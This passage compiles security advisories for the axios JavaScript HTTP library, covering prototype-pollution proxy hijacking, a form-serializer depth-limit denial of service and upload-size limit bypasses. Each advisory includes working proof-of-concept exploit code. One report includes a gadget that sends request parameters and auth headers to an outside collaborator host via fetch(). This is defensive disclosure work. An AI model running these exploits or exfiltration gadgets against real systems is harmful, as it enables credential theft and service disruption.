This report does not claim browser impact or proven HTTPS credential disclosure. The demonstrated credential and body disclosure is for Node HTTP-adapter requests over HTTP/plaintext.

Affected component

The affected component is the Node.js HTTP adapter request path after request interceptors have run.

The issue requires:

  • Node.js HTTP adapter usage.
  • A polluted Object.prototype.proxy.
  • A request interceptor that returns a plain object copy of the config.
  • No own proxy: false or safe own proxy property on the request config.

Affected versions

Confirmed affected for this specific hardening-bypass variant:

  • axios@1.15.2
  • axios@1.16.0

axios@1.16.0 was the latest published version observed via npm view axios version during validation.

Related older behavior observed during testing:

  • 1.13.0, 1.13.6, 1.14.0, 1.15.0, and 1.15.1 routed via inherited Object.prototype.proxy even without the interceptor re-materialization step. That is related background, not the narrowed hardening-bypass variant described here.

Root cause

  1. Initial hardening

    Axios initially hardens merged request config by creating a null-prototype object in mergeConfig(), which is meant to prevent inherited Object.prototype properties from influencing request behavior.
    Permalink: github.com/axios/axios@df53d7dd99/lib/core/mergeConfig.js (L21-L25)

  2. Interceptor re-materialization

    Request interceptors run after that hardening step, and axios allows an interceptor to return a replacement config object. A common immutable pattern such as {...config} or Object.assign({}, config) converts the hardened null-
    prototype config back into a normal object with Object.prototype as its prototype.
    Permalinks: github.com/axios/axios@df53d7dd99/lib/core/Axios.js (L187-L199), github.com/axios/axios@df53d7dd99/lib/core/Axios.js (L204-L218)

  3. No post-interceptor re-hardening

    Axios passes the interceptor-returned config into request dispatch without restoring the null-prototype property or otherwise normalizing the object into an own-property-only structure.
    Permalink: github.com/axios/axios@df53d7dd99/lib/core/dispatchRequest.js (L34-L48)

  4. Prototype-chain read of proxy in the Node adapter

    The Node HTTP adapter later consults config.proxy, and this read is reachable through the prototype chain once the interceptor has re-materialized the config as a normal object. As a result, a polluted Object.prototype.proxy can
    redirect the outgoing authenticated request through an attacker-controlled proxy.
    Permalink: github.com/axios/axios@df53d7dd99/lib/adapters/http.js (L816-L820)

Why this is a security issue and not intended behavior

Axios’ threat model explicitly treats polluted Object.prototype config reads as high-impact read-side gadgets and states that axios defends reachable config-read gadgets through own-property checks and null-prototype structures. The
existing regression tests also assert that a polluted Object.prototype.proxy must not route requests through an attacker proxy.

This behavior is therefore a bypass of axios’ existing prototype-pollution hardening, not merely a generic “polluted process” complaint. The interceptor does not need to be malicious; it can be ordinary application code that returns an
immutable copy of the config. The attacker-controlled piece is the polluted prototype property supplied by a separate vulnerability or dependency.

Realistic threat model

A realistic exploit chain is:

  1. A transitive dependency or upstream parser bug allows prototype pollution in a Node.js process.
  2. The polluted property is Object.prototype.proxy, with host and port pointing to an attacker-controlled proxy.
  3. The application uses axios with a request interceptor that returns a plain object copy, such as adding headers immutably.
  4. The application sends an HTTP request with credentials or sensitive body data.
  5. Axios routes that request through the inherited proxy configuration.

This requires a prototype pollution primitive and a compatible interceptor pattern. It does not require the attacker to control the interceptor.

Proof of concept

Save as poc.mjs in the axios repository root:

  import axios from './index.js';
  import http from 'node:http';

  const proxyEnvKeys = [
    'HTTP_PROXY', 'HTTPS_PROXY', 'ALL_PROXY',
    'http_proxy', 'https_proxy', 'all_proxy',
    'NO_PROXY', 'no_proxy'
  ];

  for (const key of proxyEnvKeys) delete process.env[key];

  const listen = (handler) => new Promise((resolve, reject) => {
    const server = http.createServer(handler);
    server.once('error', reject);
    server.listen(0, '127.0.0.1', () => resolve(server));
  });

  const close = (server) => new Promise((resolve) => server.close(resolve));

  const targetHits = [];
  const proxyHits = [];

  const target = await listen((req, res) => {
    let body = '';
    req.on('data', (chunk) => body += chunk);
    req.on('end', () => {
      targetHits.push({
        url: req.url,
        method: req.method,
        authorization: req.headers.authorization || null,
        body
      });
      res.writeHead(200, {'Content-Type': 'application/json'});
      res.end(JSON.stringify({server: 'target'}));
    });
  });

  const proxy = await listen((req, res) => {
    let body = '';
    req.on('data', (chunk) => body += chunk);
    req.on('end', () => {
      proxyHits.push({
        url: req.url,
        method: req.method,
        authorization: req.headers.authorization || null,
        host: req.headers.host || null,
        body
      });
      res.writeHead(200, {'Content-Type': 'application/json'});
      res.end(JSON.stringify({server: 'proxy'}));
    });
  });

  Object.prototype.proxy = {
    protocol: 'http',
    host: '127.0.0.1',
    port: proxy.address().port
  };

  const api = axios.create();

  api.interceptors.request.use((config) => ({
    ...config,
    headers: {
      ...config.headers,
      'X-App': 'demo'
    }
  }));

  try {
    const url = `http://127.0.0.1:${target.address().port}/api/secret`;

    const explicit = await api.get(url, {
      headers: {Authorization: 'Bearer EXPLICIT_SECRET'}
    });

    proxyHits.length = 0;
    targetHits.length = 0;

    const basic = await api.get(url, {
      auth: {username: 'svc-account', password: 'prod-secret'}
    });

    proxyHits.length = 0;
    targetHits.length = 0;

    const post = await api.post(url, {secret: 'request-body-secret'}, {
      headers: {Authorization: 'Bearer EXPLICIT_SECRET'}
    });

    console.log(JSON.stringify({
      explicitResponse: explicit.data,
      basicResponse: basic.data,
      postResponse: post.data,
      targetHits,
      proxyHits,
      finalConfigPrototype:
        Object.getPrototypeOf(post.config) === Object.prototype
          ? 'Object.prototype'
          : 'other',
      finalConfigHasOwnProxy:
        Object.prototype.hasOwnProperty.call(post.config, 'proxy')
    }, null, 2));
  } finally {
    delete Object.prototype.proxy;
    await close(target);
    await close(proxy);
  }

Run:

  npm ci
  node poc.mjs

Observed results

Representative observed output from local loopback testing:


  {
    "explicitResponse": {"server": "proxy"},
    "basicResponse": {"server": "proxy"},
    "postResponse": {"server": "proxy"},
    "targetHits": [],
    "proxyHits": [
      {
        "url": "http://127.0.0.1:40613/api/secret",
        "method": "POST",
        "authorization": "Bearer EXPLICIT_SECRET",
        "host": "127.0.0.1:40613",
        "body": "{\"secret\":\"request-body-secret\"}"
      }
    ],
    "finalConfigPrototype": "Object.prototype",
    "finalConfigHasOwnProxy": false
  }

  Additional validation showed axios-generated Basic auth is also disclosed to the proxy:

  {
    "authorization": "Basic c3ZjLWFjY291bnQ6cHJvZC1zZWNyZXQ="
  }

That value decodes to:

svc-account:prod-secret

Negative controls were also tested:

  • No interceptor: target receives request, proxy receives none.
  • Interceptor mutating and returning the same config object: proxy receives none.
  • Own proxy: false: proxy receives none.
  • Null-prototype clone interceptor: proxy receives none.
  • Fetch adapter in Node with the same interceptor: proxy receives none.

Suggested remediation

Re-harden the final request config after all request interceptors and before adapter dispatch. This should cover both asynchronous and synchronous interceptor paths.

A practical fix would be to normalize the interceptor-returned object into a null-prototype, own-property-only config before calling dispatchRequest(), or at the start of dispatchRequest() itself. Security-sensitive adapter reads should
also consistently use own-property access helpers. In particular, the Node HTTP adapter should not read config.proxy through the prototype chain.

Minimal regression test

Add an end-to-end Node HTTP adapter test that:

  1. Starts a target server and attacker proxy on 127.0.0.1.
  2. Sets Object.prototype.proxy to the attacker proxy.
  3. Adds a request interceptor returning {...config, headers: {...config.headers}}.
  4. Sends a request with an Authorization header.
  5. Asserts the target server receives the request.
  6. Asserts the attacker proxy receives no request.
  7. Asserts the final config no longer exposes inherited proxy.

A second assertion can cover config.auth to ensure axios-generated Basic auth is not sent to the attacker proxy.

Severity

  • CVSS Score: 8.3 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Axios form serializer maxDepth bypass via {} metatoken

CVE-2026-67321 / GHSA-hcpx-6fm6-wx23

More information

Details

Summary

Axios versions in the fixed lines for GHSA-62hf-57xw-28j9 still contain an incomplete depth-limit bypass in lib/helpers/toFormData.js. When serializing an object with a top-level key ending in {}, axios calls JSON.stringify() on that value before the formSerializer.maxDepth guard can inspect the nested structure.

An attacker who can control object keys and nested values passed by an application into axios form or parameter serialization can trigger a raw RangeError: Maximum call stack size exceeded, causing a denial of service in the affected request path.

Impact

The impact is availability only. No confidentiality or integrity impact was confirmed.

Server-side applications are the primary concern when they accept user-controlled input and pass it into axios as data or params for multipart/form-data, application/x-www-form-urlencoded, or default parameter serialization. Browser impact is limited to the page or request context unless the application builds a broader failure mode around the thrown exception.

The attack requires control over a top-level object key ending in {} and a deeply nested object value. The option formSerializer.metaTokens: false is not a workaround because it only changes the emitted key name; the value is still stringified.

Affected Functionality

Affected paths include:

  • lib/helpers/toFormData.js when a top-level key ends with {}.
  • lib/helpers/toURLEncodedForm.js, which delegates to helpers.defaultVisitor.
  • lib/helpers/AxiosURLSearchParams.js, used by default params serialization.
  • Request transforms in lib/defaults/index.js when object data is serialized as multipart/form-data or application/x-www-form-urlencoded.

Unaffected paths include:

  • Already-created FormData or URLSearchParams values that axios does not walk with toFormData.
  • Custom paramsSerializer.serialize implementations that do not call axios toFormData.
  • Non-{} deeply nested values in toFormData, which hit ERR_FORM_DATA_DEPTH_EXCEEDED as intended.
Technical Details

In lib/helpers/toFormData.js, defaultVisitor() handles top-level keys ending in {} before recursive traversal:

if (value && !path && typeof value === 'object') {
  if (utils.endsWith(key, '{}')) {
    key = metaTokens ? key : key.slice(0, -2);
    value = JSON.stringify(value);
  }
}

The depth guard is in build():

if (depth > maxDepth) {
  throw new AxiosError(
    'Object is too deeply nested (' + depth + ' levels). Max depth: ' + maxDepth,
    AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED
  );
}

For {} metatoken values, build() only sees the top-level property. The nested value is handed directly to native JSON.stringify(), which recurses internally and can throw RangeError before axios emits the intended AxiosError.

Proof of Concept of Attack

Safe local PoC with no network I/O:

import toFormData from './lib/helpers/toFormData.js';

function buildDeep(depth) {
  const head = {};
  let cur = head;

  for (let i = 0; i < depth; i += 1) {
    cur.x = {};
    cur = cur.x;
  }

  return head;
}

try {
  toFormData({ 'evil{}': buildDeep(10000) });
} catch (err) {
  console.log(err.name, err.code || '', err.message);
}

// Expected affected result:
// RangeError  Maximum call stack size exceeded

Expected fixed behavior is an AxiosError with code ERR_FORM_DATA_DEPTH_EXCEEDED.

Workarounds

Reject or depth-limit untrusted objects before passing them to axios serialization.

Strip or reject top-level keys ending in {} from untrusted objects when using axios form serialization.

For query parameters, use a custom paramsSerializer.serialize that enforces a depth limit.

For form bodies, construct FormData or URLSearchParams manually after validating input depth.

Original Report
Summary

The maxDepth=100 guard added in axios 1.15.0 to fix GHSA-62hf-57xw-28j9 lives inside the build() recursion in lib/helpers/toFormData.js. The default visitor at lib/helpers/toFormData.js:166-170 still has a top-level shortcut that calls JSON.stringify(value) whenever a key ends in '{}', before build() ever sees the nested value. JSON.stringify on a deeply nested object stack-overflows with RangeError: Maximum call stack size exceeded, which propagates synchronously out of the axios call. The exact attacker-data flow that the original advisory described (proxy-style code that forwards client JSON into axios({ data, params })) still crashes the process at depth ~3000 on a default Node.js stack, despite v1.16.0 being patched.

Details

Affected: axios 1.15.0 - 1.16.0 (every released version that carries the GHSA-62hf-57xw-28j9 fix). The bug is reachable from any code path that hits toFormData, which includes:

  • axios.post(url, data, { headers: { 'content-type': 'application/x-www-form-urlencoded' } }) -> defaults.transformRequest -> toURLEncodedForm(data) -> toFormData
  • axios.post(url, data, { headers: { 'content-type': 'multipart/form-data' } }) -> same path via toFormData
  • axios.get(url, { params }) -> buildURL -> new AxiosURLSearchParams(params) -> toFormData

Vulnerable code, lib/helpers/toFormData.js:

// 156 function defaultVisitor(value, key, path) {
// 165 if (value && !path && typeof value === 'object') {
// 166 if (utils.endsWith(key, '{}')) {
// 167 // eslint-disable-next-line no-param-reassign
// 168 key = metaTokens ? key : key.slice(0, -2);
// 169 // eslint-disable-next-line no-param-reassign
// 170 value = JSON.stringify(value); // <-- V8 native, NOT depth-checked
// 171 } else if (...

build() later does enforce maxDepth:

// 211 function build(value, path, depth = 0) {
// 212 if (utils.isUndefined(value)) return;
// 213
// 214 if (depth > maxDepth) {
// 215 throw new AxiosError(
// 216 'Object is too deeply nested (' + depth + ' levels). Max depth: ' + maxDepth,
// 217 AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED
// 218 );

The '{}' shortcut runs in defaultVisitor, which is invoked from inside build() for top-level keys (the !path clause at line 165 means the shortcut only triggers at top level, where path is undefined). At that point depth === 0 and the maxDepth check has already passed; the recursion-aware guard never sees the nested value because defaultVisitor reassigns value = JSON.stringify(value) and returns the rendered string straight to formData.append. JSON.stringify itself is recursive in V8 and stack-overflows on deeply nested objects, throwing RangeError synchronously.

The behaviour is independent of the metaTokens option: line 168 only changes whether '{}' stays on the key name, line 170 stringifies regardless. toURLEncodedForm's wrapper visitor in lib/helpers/toURLEncodedForm.js:11-14 falls through to the same defaultVisitor, so the form-encoded path is also affected.

The attacker payload is a single top-level key ending in '{}' whose value is a nested object. The keys themselves do not have to be deep, so the payload is small to send (a few KB of {"x":{"x":...}} produces enough nesting to overflow). The original advisory's threat model -- a server that forwards req.body or req.query into axios -- is unchanged:

app.post('/forward', async (req, res) => {
 await axios.post('https://upstream/api', req.body); // req.body attacker-controlled
 res.send('ok');
});
// attacker POST /forward with content-type: application/x-www-form-urlencoded
// body: {"evil{}": <8000-deep object>}
// -> JSON.stringify recurses inside defaultVisitor -> RangeError -> handler crashes

The error is not an AxiosError; it is a raw RangeError thrown from the stringifier, so handlers that look for err.code === 'ERR_FORM_DATA_DEPTH_EXCEEDED' (the documented signal that the maxDepth guard fired) do not see it. Synchronous startup paths or worker threads still take the whole process down.

The fix is to also depth-limit (or pre-walk) the value before calling JSON.stringify on line 170, or to remove the top-level '{}' shortcut and rely on the depth-checked build() recursion to handle it. A minimal patch that preserves observable behaviour for legal payloads:

 if (utils.endsWith(key, '{}')) {
 // eslint-disable-next-line no-param-reassign
 key = metaTokens ? key : key.slice(0, -2);
+ // Reject objects that would exceed maxDepth before handing to JSON.stringify,
+ // which is recursive in V8 and stack-overflows on deeply nested input.
+ (function checkDepth(v, d) {
+ if (d > maxDepth) {
+ throw new AxiosError(
+ 'Object is too deeply nested (' + d + ' levels). Max depth: ' + maxDepth,
+ AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED
+ );
+ }
+ if (v && typeof v === 'object') {
+ for (const k in v) checkDepth(v[k], d + 1);
+ }
+ })(value, 0);
 // eslint-disable-next-line no-param-reassign
 value = JSON.stringify(value);
 }

(The recursion in checkDepth itself is bounded by maxDepth, so it cannot itself overflow.)

PoC

Reproduces against a clean clone of axios/axios at v1.16.0 with npm install already run. targets/axios/poc_jsonstringify_dos.mjs is the script:

import axios from './source/index.js';

function buildDeep(depth) {
 let head = {};
 let cur = head;
 for (let i = 0; i < depth; i++) { cur.x = {}; cur = cur.x; }
 return head;
}

const malicious = buildDeep(5000);
const safeAdapter = () => Promise.resolve({
 data: 'never reached', status: 200, statusText: 'OK', headers: {}, config: {}
});

// 1. POST x-www-form-urlencoded
try {
 await axios.post('http://example.test/x',
 { 'evil{}': malicious },
 { headers: { 'content-type': 'application/x-www-form-urlencoded' }, adapter: safeAdapter });
} catch (e) {
 console.log('POST form-encoded:', e.name, '-', e.message);
}

// 2. GET with params
try {
 await axios.get('http://example.test/x',
 { params: { 'evil{}': malicious }, adapter: safeAdapter });
} catch (e) {
 console.log('GET params:', e.name, '-', e.message);
}

3/3 runs reproduce the same RangeError on axios@1.16.0 with Node.js 24:

$ node poc_jsonstringify_dos.mjs
POST form-encoded: RangeError - Maximum call stack size exceeded
GET params: RangeError - Maximum call stack size exceeded

safeAdapter is a stub that returns a fake response, so the crash is provably inside axios's serialization layer, not in HTTP I/O. Removing the '{}' suffix from the key and re-running gives the expected AxiosError: Object is too deeply nested ... ERR_FORM_DATA_DEPTH_EXCEEDED from the maxDepth guard, confirming the fix is wired correctly elsewhere -- it just does not cover this branch.

Crash threshold on a default-stack Node.js process is roughly depth 2500-3000; 8000 is comfortably above that, and the payload is a few KB.

Impact

A remote, unauthenticated attacker who can influence an object that the application passes to axios as request data or params triggers an uncaught RangeError from inside the synchronous JSON.stringify call in defaultVisitor. In server-side applications that proxy or re-forward client JSON through axios -- the same threat model that motivated GHSA-62hf-57xw-28j9 -- this crashes the request handler and, in worker/cluster setups, the whole process. The previously shipped maxDepth guard does not stop it because the '{}' suffix path bypasses build() entirely. Same severity class as the original advisory (CWE-674 Uncontrolled Recursion, network-reachable DoS); the only difference is the attacker has to suffix one of their object keys with '{}' to land on the unguarded code path.


Severity

  • CVSS Score: 6.9 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Axios: Fetch adapter ReadableStream uploads bypass maxBodyLength

CVE-2026-67317 / GHSA-jqh4-m9w3-8hp9

More information

Details

Summary

axios’ fetch adapter does not enforce maxBodyLength for live WHATWG ReadableStream request bodies whose size cannot be determined before dispatch. Applications that use adapter: "fetch" and rely on maxBodyLength to cap untrusted upload/proxy streams can send the full stream even when it exceeds the configured limit.

This affects fetch-adapter usage in edge runtimes where fetch is selected, and in Node.js or browser environments where the fetch adapter is explicitly selected. The HTTP adapter’s stream upload path is not affected.

Impact

An attacker who can supply or influence a streamed request body can bypass the caller’s configured upload-size limit. Practical impact is unexpected outbound network egress, request-level resource consumption, and possible exhaustion of upstream API quotas or bandwidth.

This does not expose response data, execute code, or modify axios configuration. Exploitability depends on an application passing attacker-controlled, unknown-length stream data to axios and relying on maxBodyLength as the size guard.

Affected Functionality

Affected:

  • adapter: "fetch" or environments where axios selects the fetch adapter.
  • Request methods with bodies, such as POST, PUT, and PATCH.
  • data as a WHATWG ReadableStream without a reliable Content-Length.
  • Configurations that set maxBodyLength to a finite value.

Not affected:

  • Axios versions before the fetch adapter was introduced.
  • The Node HTTP adapter stream enforcement path.
  • Known-length fetch-adapter bodies in 1.16.0+, such as strings, Blob, ArrayBuffer, ArrayBufferView, URLSearchParams, spec-compliant FormData, or requests with a finite Content-Length.
Technical Details

In lib/adapters/fetch.js, getBodyLength() handles null bodies, Blob, spec-compliant FormData, ArrayBuffer values, URLSearchParams, and strings. It has no branch for ReadableStream, so resolveBodyLength(headers, data) returns undefined when no finite Content-Length header is present.

The maxBodyLength check only throws when the resolved outbound length is a finite number greater than the configured limit. For live streams, the check is skipped and the stream is passed to fetch().

When onUploadProgress is enabled, axios wraps the request body with trackStream(), but that wrapper only reports progress. It does not receive maxBodyLength and does not abort once loaded bytes exceed the cap.

The expected behavior exists in the HTTP adapter: lib/adapters/http.js enforces maxBodyLength for streamed uploads by counting chunks and rejecting with ERR_BAD_REQUEST.

Proof of Concept of Attack

Run from the axios repo root on Node 18+ against an affected version:

import http from 'node:http';
import axios from './index.js';

const LIMIT = 1024;
const PAYLOAD_BYTES = 2 * 1024 * 1024;

const server = http.createServer((req, res) => {
  let received = 0;
  req.on('data', (chunk) => {
    received += chunk.length;
  });
  req.on('end', () => {
    res.writeHead(200, { 'content-type': 'application/json' });
    res.end(JSON.stringify({ received, limit: LIMIT }));
  });
});

await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));
const { port } = server.address();

function makeReadableStream(totalBytes) {
  const chunk = new Uint8Array(64 * 1024).fill(0x42);
  let remaining = totalBytes;

  return new ReadableStream({
    pull(controller) {
      if (remaining <= 0) {
        controller.close();
        return;
      }

      const next = remaining >= chunk.length ? chunk : chunk.subarray(0, remaining);
      remaining -= next.length;
      controller.enqueue(next);
    },
  });
}

try {
  const response = await axios.post(
    `http://127.0.0.1:${port}/upload`,
    makeReadableStream(PAYLOAD_BYTES),
    {
      adapter: 'fetch',
      maxBodyLength: LIMIT,
      headers: { 'content-type': 'application/octet-stream' },
    }
  );

  console.log(response.data);
} finally {
  server.close();
}

Expected vulnerable result: the server reports received: 2097152 even though maxBodyLength is 1024.

Workarounds

Use the HTTP adapter for untrusted stream uploads in Node.js where possible, or wrap/count the stream at the application layer and abort it when it exceeds the intended limit. Do not rely on fetch-adapter maxBodyLength for unknown-length ReadableStream bodies until a fixed axios version is available.

Original Report
Summary

axios's fetch adapter (used in browsers, edge runtimes, and Node 18+ when explicitly selected) ignores maxBodyLength for live ReadableStream request bodies whose size cannot be inferred ahead of dispatch. The pre-dispatch check is skipped when the length is unknown, and the in-flight wrapper that runs during transmission only emits progress events — it never enforces a byte cap. Severity: medium.

Details

In lib/adapters/fetch.js, body-length resolution has no ReadableStream branch:

fetch.js Lines 121-155

  const getBodyLength = async (body) => {
    if (body == null) {
      return 0;
    }
    if (utils.isBlob(body)) {
      return body.size;
    }
    if (utils.isSpecCompliantForm(body)) {
      const _request = new Request(platform.origin, {
        method: 'POST',
        body,
      });
      return (await _request.arrayBuffer()).byteLength;
    }
    if (utils.isArrayBufferView(body) || utils.isArrayBuffer(body)) {
      return body.byteLength;
    }
    if (utils.isURLSearchParams(body)) {
      body = body + '';
    }
    if (utils.isString(body)) {
      return (await encodeText(body)).byteLength;
    }
  };
  const resolveBodyLength = async (headers, body) => {
    const length = utils.toFiniteNumber(headers.getContentLength());
    return length == null ? getBodyLength(body) : length;
  };

For a live ReadableStream, resolveBodyLength returns undefined. The pre-dispatch maxBodyLength check then short-circuits because the value is not finite:

fetch.js Lines 214-232

      // Enforce maxBodyLength against the outbound request body before dispatch.
      // Mirrors http.js behavior (ERR_BAD_REQUEST / 'Request body larger than
      // maxBodyLength limit'). Skip when the body length cannot be determined
      // (e.g. a live ReadableStream supplied by the caller).
      if (hasMaxBodyLength && method !== 'get' && method !== 'head') {
        const outboundLength = await resolveBodyLength(headers, data);
        if (
          typeof outboundLength === 'number' &&
          isFinite(outboundLength) &&
          outboundLength > maxBodyLength
        ) {
          throw new AxiosError(
            'Request body larger than maxBodyLength limit',
            AxiosError.ERR_BAD_REQUEST,
            config,
            request
          );
        }
      }

The in-flight stream wrapper that follows is purely for progress reporting; it neither sees maxBodyLength nor aborts the request when bytes exceed any cap:

fetch.js Lines 253-261

        if (_request.body) {
          const [onProgress, flush] = progressEventDecorator(
            requestContentLength,
            progressEventReducer(asyncDecorator(onUploadProgress))
          );
          data = trackStream(_request.body, DEFAULT_CHUNK_SIZE, onProgress, flush);
        }

The body therefore reaches fetch() unbounded, and the entire payload is transmitted regardless of maxBodyLength.

PoC
import http from 'node:http';
import axios from '../../index.js';

const LIMIT = 1024;
const PAYLOAD_BYTES = 2 * 1024 * 1024;

const server = http.createServer((req, res) => {
  let received = 0;
  req.on('data', (chunk) => {
    received += chunk.length;
  });
  req.on('end', () => {
    res.writeHead(200, { 'content-type': 'application/json' });
    res.end(JSON.stringify({ received, limit: LIMIT }));
  });
  req.on('error', () => {
    /* swallow client-side aborts */
  });
});

await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));
const port = server.address().port;

function makeReadableStream(totalBytes) {
  const CHUNK = new Uint8Array(64 * 1024).fill(0x42);
  let remaining = totalBytes;
  return new ReadableStream({
    pull(controller) {
      if (remaining <= 0) {
        controller.close();
        return;
      }
      const next = remaining >= CHUNK.length ? CHUNK : CHUNK.subarray(0, remaining);
      remaining -= next.length;
      controller.enqueue(next);
    },
  });
}

try {
  let result;
  try {
    const response = await axios.post(
      `http://127.0.0.1:${port}/upload`,
      makeReadableStream(PAYLOAD_BYTES),
      {
        adapter: 'fetch',
        maxBodyLength: LIMIT,
        headers: { 'content-type': 'application/octet-stream' },
        // No content-length: the stream's total length is unknown ahead of
        // dispatch, which is exactly the vulnerable code path.
      }
    );
    result = { status: response.status, data: response.data };
  } catch (err) {
    result = { error: err && (err.code || err.message) };
  }

  console.log('--- PoC: fetch adapter ReadableStream maxBodyLength bypass ---');
  console.log('axios result:', JSON.stringify(result));

  const ok =
    result &&
    result.status === 200 &&
    result.data &&
    typeof result.data === 'object' &&
    result.data.received === PAYLOAD_BYTES &&
    result.data.limit === LIMIT;

  if (ok) {
    console.log(
      `VULNERABLE: server received ${result.data.received} bytes despite ` +
        `maxBodyLength=${LIMIT}.`
    );
    process.exitCode = 0;
  } else {
    console.log('NOT VULNERABLE: axios refused or truncated the oversized ReadableStream.');
    process.exitCode = 1;
  }
} finally {
  server.close();
}
Impact
  • Uncontrolled egress when proxying user-controlled streams (e.g. file uploads, log forwarding, AI streaming endpoints).
  • Bypass of cost / quota guards on upstream APIs.
  • Resource exhaustion against the runtime's network stack and against upstream peers.

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Axios: Prototype pollution gadgets can alter axios request construction

CVE-2026-67316 / GHSA-mmx7-hfxf-jppx

More information

Details

Summary

axios is vulnerable to read-side prototype-pollution gadgets when Object.prototype has already been polluted by another vulnerability or dependency. The most broadly reachable issue is in the bodyless method aliases: axios.get(), axios.delete(), axios.head(), and axios.options() read inherited data before config normalization, causing attacker-controlled body data to be sent on requests that did not explicitly set a body.

Additional low-level paths affect consumers that call exported adapters/helpers directly with plain config objects. In those cases, inherited proxy or paramsSerializer values can influence request routing or URL serialization. These low-level paths are not reproduced through normal axios.get() usage on 1.15.2+.

Impact

An attacker who can first pollute Object.prototype can cause axios to send attacker-controlled request bodies on bodyless method aliases. This can corrupt request semantics where the receiving service processes bodies on GET, DELETE, HEAD, or OPTIONS.

For direct low-level Node HTTP adapter usage, inherited proxy can route requests through an attacker-controlled proxy. Depending on axios version, target scheme, and proxy behavior, this can expose request URLs, headers, and bodies or allow traffic modification.

For direct resolveConfig or browser-adapter helper usage, inherited paramsSerializer can be invoked with request params, allowing attacker-controlled URL serialization. This was not reproduced through normal high-level axios calls on 1.15.2+.

Affected Functionality

Affected normal API:

  • axios.get(url[, config])
  • axios.delete(url[, config])
  • axios.head(url[, config])
  • axios.options(url[, config])

Affected low-level usage:

  • Direct calls to axios/lib/adapters/http.js or axios/unsafe/adapters/http.js with plain configs and no own proxy.
  • Direct calls to axios/unsafe/helpers/resolveConfig.js or direct browser adapter/helper paths with plain configs and no own paramsSerializer.

Unaffected or corrected scope:

  • Normal axios.get() calls on 1.15.2+ did not reproduce the proxy or paramsSerializer gadgets because mergeConfig() returns a null-prototype config and uses own-property reads.
Technical Details

lib/core/Axios.js constructs aliases for bodyless methods and copies data with (config || {}).data before config normalization. If Object.prototype.data is polluted, this inherited value becomes an own data property in the merged request config and is sent by the adapter.

lib/core/mergeConfig.js in 1.15.2+ returns a null-prototype config and uses hasOwnProp guards, which prevents normal high-level requests from inheriting polluted proxy and paramsSerializer values after merge. This is why those two reporter claims do not reproduce through normal axios.get() on 1.15.2 or 1.16.1.

The low-level adapter/helper paths can still receive plain configs directly. In that usage, direct reads of config.proxy in the Node HTTP adapter and config.paramsSerializer in affected resolveConfig() versions can consume inherited polluted values.

Proof of Concept of Attack
import http from 'http';
import axios from 'axios';

const server = http.createServer((req, res) => {
  let body = '';

  req.on('data', chunk => {
    body += chunk;
  });

  req.on('end', () => {
    res.writeHead(200, {'content-type': 'application/json'});
    res.end(JSON.stringify({body, headers: req.headers}));
  });
});

await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));

Object.prototype.data = 'INJECTED';

try {
  const res = await axios.get(`http://127.0.0.1:${server.address().port}/data`);

  console.log(res.data.body); // "INJECTED"
  console.log(res.data.headers['content-length']); // "8"
} finally {
  delete Object.prototype.data;
  await new Promise(resolve => server.close(resolve));
}

Expected result: a request body is sent even though the caller did not explicitly set config.data.

Workarounds

Avoid processing untrusted input with libraries or code paths that can pollute Object.prototype. As a defense-in-depth mitigation before an axios fix is available, explicitly pass data: undefined on bodyless method aliases when running in a process where prototype pollution is a concern.

Original Report
Summary

Three prototype pollution read-side gadgets in axios bypass the own() hasOwnProp guard pattern, allowing a polluted Object.prototype to hijack outbound requests.

Details

The own() helper was introduced after GHSA-q8qp-cvcw-x6jj to prevent polluted prototype properties from reaching security-sensitive config reads. Three paths were missed:

config.proxy at http.js:715 goes straight into setProxy(). A polluted Object.prototype.proxy reroutes outbound requests through an attacker-controlled proxy, exposing Authorization headers and full request URLs.

(config || {}).data at Axios.js:248 covers GET, HEAD, DELETE, OPTIONS. Even without explicit body, polluted value becomes the body. I got injected payloads on 3 of 4 method types in testing.

config.paramsSerializer at resolveConfig.js:32 is three lines below the own() definition that was supposed to protect it. A polluted function onto Object.prototype.paramsSerializer gets called with the request params on every request that has query strings.

I read up on the threat model and I believe T-R4b identifies this exact class and notes that config-read paths must use hasOwnProp guards. These three seem to predate or were missed by that coverage.

PoC

Ran against axios@1.15.2 on node:22-slim in Docker. Clean install, no other deps.

import axios from 'axios';

// gadget 1 - proxy
Object.prototype.proxy = { host: 'yourcollab.oastify.com', port: 8080, protocol: 'http' };
await axios.get('https://api.example.com/user', { headers: { Authorization: 'Bearer sk-test-1234567890' } });
// check collaborator - request arrives with full path + auth header
// gadget 2 - data on bodyless methods
Object.prototype.data = '{"injected":true}';
await axios.get('https://api.example.com/items');
await axios.delete('https://api.example.com/items/1');
await axios.head('https://api.example.com/items');
// 3/4 methods send the polluted body
// gadget 3 - paramsSerializer
Object.prototype.paramsSerializer = (p) => {
  fetch('https://yourcollab.oastify.com/?' + new URLSearchParams(p));
  return 'q=x';
};
await axios.get('https://api.example.com/search', { params: { token: 'secret' } });
Impact

Any app with a polluted prototype (common via transitive deps like lodash, qs, minimist) should be affected. Gadget 1 steals credentials and redirects traffic. Gadget 2 corrupts request semantics. Gadget 3 gives the attacker arbitrary control over URL construction and a data exfiltration channel. All three fire silently on normal application code that never touches proxy, data, or paramsSerializer directly.

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Axios: HTTP/2 streamed uploads bypass maxBodyLength

